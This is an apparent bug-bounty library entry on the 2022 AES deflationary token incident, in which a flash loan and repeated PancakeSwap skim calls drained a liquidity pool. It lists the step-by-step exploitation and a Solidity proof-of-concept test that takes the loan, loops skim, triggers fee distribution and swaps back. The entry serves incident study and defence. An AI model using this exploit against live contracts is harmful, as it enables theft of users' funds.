# AES token: flash loan price manipulation drains liquidity pool

AES deflationary token's fee distribution and skim logic allowed an attacker to manipulate the liquidity pool via flash loan, draining $60k.

- Payout: Real-world hack
- Severity: high
- Program: - AES (Deflationary token)
- Analysis by: DeFiHackLabs
- Disclosed: 2022-12-07
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-12/AES_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20221207-aes
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high vuln:business-logic vuln:flash-loan vuln:oracle-manipulation

**Target:** AES token contract and PancakeSwap pair
**Root cause:** The AES token's fee distribution mechanism and the pair's skim function allowed an attacker to repeatedly extract value by manipulating the token balance and triggering fee distribution.
**Steps:**
1. Flash loan 100,000 USDT from DODO.
2. Swap USDT for AES via PancakeSwap router.
3. Transfer half of AES balance to the AES/USDT pair.
4. Call `Pair.skim(address(Pair))` 37 times to remove excess tokens.
5. Call `Pair.skim(address(this))` to collect remaining tokens.
6. Call `AES.distributeFee()` to trigger fee distribution.
7. Call `Pair.sync()` to update reserves.
8. Swap all AES back to USDT.
9. Repay flash loan.
**Exploitation:** Attacker used a flash loan to buy AES, then repeatedly called skim on the pair to manipulate reserves and trigger fee distribution, ultimately selling AES for more USDT than spent.
**Insight:** Deflationary tokens with fee distribution and skim functions can be vulnerable to repeated skim calls that manipulate reserves; check for loops that call skim or sync in conjunction with fee mechanisms.

## Proof of concept (copied exactly from the original report)

**Flash loan exploit test with skim loop**

```
function testExploit() public {
        USDT.approve(address(Router), type(uint256).max);
        AES.approve(address(Router), type(uint256).max);
        DVM(dodo).flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        USDTToAES();
        AES.transfer(address(Pair), AES.balanceOf(address(this)) / 2);
        for (uint256 i = 0; i < 37; i++) {
            Pair.skim(address(Pair));
        }
        Pair.skim(address(this));
        AES.distributeFee();
        Pair.sync();
        AESToUSDT();
        USDT.transfer(dodo, 100_000 * 1e18);
    }
```

